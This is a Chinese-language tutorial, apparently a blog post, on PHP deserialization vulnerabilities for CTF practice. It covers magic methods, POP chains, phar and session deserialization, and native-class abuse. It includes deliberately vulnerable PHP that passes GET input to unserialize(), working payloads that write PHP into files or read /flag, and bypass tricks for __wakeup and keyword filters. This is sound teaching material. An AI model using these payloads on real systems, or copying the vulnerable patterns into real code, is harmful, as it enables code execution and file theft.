上篇文章讲述了Java反序列化,这里讲讲PHP反序列化漏洞。PHP反序列化漏洞在实际测试中出现的频率并不高,主要常出现在CTF中。
目录
PHP序列化基础知识
PHP序列化函数
- serialize:将PHP的数据,数组,对象等序列化为字符串
- unserialize:将序列化的字符串反序列化为数据,数组,对象
举例:
serialize序列化:
<?php
$a = array('a'=>'Apple','b'=>false,'x'=>123);
$s = serialize($a);
echo $s;
?>
unserialize反序列化:
<?php
$c = 'a:3:{s:1:"a";s:5:"Apple";s:1:"b";b:0;s:1:"x";i:123;}';
$d = unserialize($c);
var_dump($d);
?>
魔术方法
魔术方法是PHP面向对象中特有的特性,他们在特定的情况下被触发。
- __construct():创建对象时触发
- __destruct():对象被销毁时或脚本结束时触发
- __call():在对象上下文中调用不可访问的方法时触发
- __callStatic():在静态上下文中调用不可访问的方法时触发
- __get():当读取不可访问或不存在属性时触发
- __set():当给不可访问或不存在属性赋值时触发
- __isset():当对不可访问或不存在的属性调用isset()或empty()时触发
- __unset():当对不可访问或不存在的属性使用unset()时触发
- __sleep():当使用serialize时触发,当不需要保存大对象的所有数据时很有用
- __wakeup():当使用unserialize时触发,用于对对象初始化操作等
- __invoke():当脚本尝试将对象调用为函数时触发
- __toString():当把对象当成字符串调用时触发
- __clone():当使用clone关键字拷贝完一个对象后触发
PHP反序列化漏洞成因
当传给unserialize()的参数可控时,就可以精心构造payload,而且当进行反序列化的时候很有可能会触发对象的一些魔术方法,造成恶意命令执行。
举例:
测试代码:
<?php
header("Content-Type:text/html;charset=utf-8");
class test{
public $name='<?php phpinfo()>';
function __destruct(){
echo("执行了destruct魔术方法");
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
}
}
$flag = $_GET['flag'];
$unser = unserialize($flag);
?>
测试代码反序列化的内容是GET方法获得的,是可控的,所以可以构造payload
比如利用魔术方法:
<?php
class test{
public $name='<?php phpinfo()>';
function __destruct(){
echo("执行了destruct魔术方法");
$path='flag.php';
$file_get=file_put_contents($path,$this->name);
}
}
$test = new test();
$str = serialize($test);
var_dump($str);
?>
类外部用到了反序列函数unserialize,就会检查有没有__wakeup方法,有就执行。这里的__wakeup方法将name值写入flag.php文件。
所以最后得到的payload:
?flag=O:4:"test":1:{s:4:"name";s:16:"<?php phpinfo()>";}
POP链构造
pop序列化简单点说就是嵌套,对象的成员属性是另一个对象。
参考文章
测试代码:
//pop简单例题
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?> NSSCTF{b046d6b0-e1b0-4f26-b54e-acfd4095de65}
可以看到,这里的w44m的Getflag方法可以输出flag,但是这个方法不能自动触发;
w33m类的__toString()方法可以实现w44m类的Getflag方法调用,将$w00赋值为w44m对象,$w22m赋值为Getflag即可;触发条件是对象被当作字符串执行
w22m类的__destruct()方法输出$w00m,那将其赋值为w33m对象即可实现对象当作字符串的要求。
所以,有如下payload构造:
<?php
class w44m
{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m
{
public $w00m;
}
class w33m
{
public $w00m;
public $w22m="Getflag";
}
$a=new w22m();
$b=new w33m();
$c=new w44m();
$b->w00m=$c;
$a->w00m=$b;
$payload=serialize($a);
var_dump($payload);
echo "?w00m=".urlencode($payload); //存在private和protected属性要url编码
?>
有点懵的可以将序列化的结果一步步带进去。
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m
%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%
3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00ad
min%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00pas
swd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%
3Bs%3A7%3A%22Getflag%22%3B%7D%7D
Phar反序列化
phar是一种压缩文件。phar伪协议解析文件时会自动触发对phar文件的manifest字段的序列化字符串进行反序列化,即不需要unserialize()函数就可以自动触发反序列化。
phar反序列化利用条件
- phar文件可以上传到服务器
- 要有可用的反序列化魔术方法
- 要有文件操作函数调用phar协议,如file_get_contents()等
- 文件操作函数参数可控,如phar等符号不被过滤
Session反序列化
当session_start()被调用或者php.ini中的session.auto_start值为1时,php内部会调用会话管理器,将序列化的用户session存储到指定目录(默认为/tmp),session文件名格式为sess_+session_id,读取session文件需要将序列化的字符串进行反序列化,与phar反序列化一样不需要unserialize函数就可以自动触发反序列化。
原生类利用
php中有许多内置的原生类,可以利用内置的原生类攻击达到目的。
目录遍历类
DirectoryIterator 可输出指定目录的第一个文件
文件读取类
SplFileObject 可读取指定文件的内容
测试代码:
<?php
class test
{
public $a;
public $b;
public function __wakeup()
{
echo $this->a($this->b);
}
}
当$a=DirectoryIterator,$b=glob://f* 时可得到文件名/flag;
当$a=SplFileObject,$b=/flag 时可读取/flag文件的内容
DirectoryIterator读目录只能返回目录的第一条、可以使用通配符、需配合伪协议glob://读取;SplFileObject读文件内容文件名不支持通配符、只返回文件内容的第一行、配合伪协议php://fliter才可读取文件全部内容
绕过方法
绕过__wakeup()
使用unserialize方法时会先调用__wakeup()方法,但是当序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量时,__wakeup()方法就不会被触发。
存在漏洞版本:php5-php5.6.25、php7-php7.0.10
举例:
?flag=O:4:"test":1:{s:4:"name";s:16:"<?php phpinfo()>";} //上面的例子payload
?flag=O:4:"test":5:{s:4:"name";s:16:"<?php phpinfo()>";} //改变后的payload
字符串逃逸
为了安全将序列化后的字符串作一些关键词的替换再进行反序列化,这样会导致字符串长度变化,如果精心构造payload造成反序列化字符串逃逸,可以达到攻击的目的。
<?php
class haha
{
public $a = 'AAA';
public $b = '12345';
}
//将序列化的字符串属性a的值中的A替换为cc,每替换一个A长度加1
function filter($str)
{
return preg_replace('/A/' ,'cc' ,$str);
}
//";s:1:"b";s:5:"12345";}长度为23,需要23个A完成字符串逃逸
$payload = new haha();
$payload->a = 'AAAAAAAAAAAAAAAAAAAAAAA";s:1:"b";s:5:"/flag";}';
$payload = serialize($payload);
$payload = filter($payload);
echo $payload;
//O:4:"haha":2:{s:1:"a";s:46:"cccccccccccccccccccccccccccccccccccccccccccccc";s:1:"b";s:5:"/flag";}";s:1:"b";s:5:"12345";}
echo print_r(unserialize($payload), true);
// haha Object
// (
// [a] => cccccccccccccccccccccccccccccccccccccccccccccc
// [b] => /flag
// )
?>
大写S当十六进制绕过
当字符串类型的s变为大写S时,其对应的值会被当作十六进制解析;
s:13:"SplFileObject" //Object被过滤
S:13:"SplFileOb\6aect" //改变后
// \6a是字符j的十六进制编码
其他
其他的比如还有
- php类名不区分大小写
- 正则绕过
- 引用绕过
- ...
PHP反序列化漏洞防范
- 做好PHP相关安全配置
- 严格控制传入变量,严谨使用魔法函数
- ...
总结
- PHP反序列化漏洞就是在反序列化过程中会自动触发一些魔术方法且传入的参数可控,导致攻击者可以构造payload攻击
- 比较简单的就是直接利用魔术方法来实现,另外就是构造POP链,POP链其实最终也是通过魔术方法实现,只是相较在构造payload时会使用嵌套
- 还有phar和session反序列化,它们的共同点都是不使用unserialize函数就可以自动反序列化
- 以及一些绕过方法和防范方法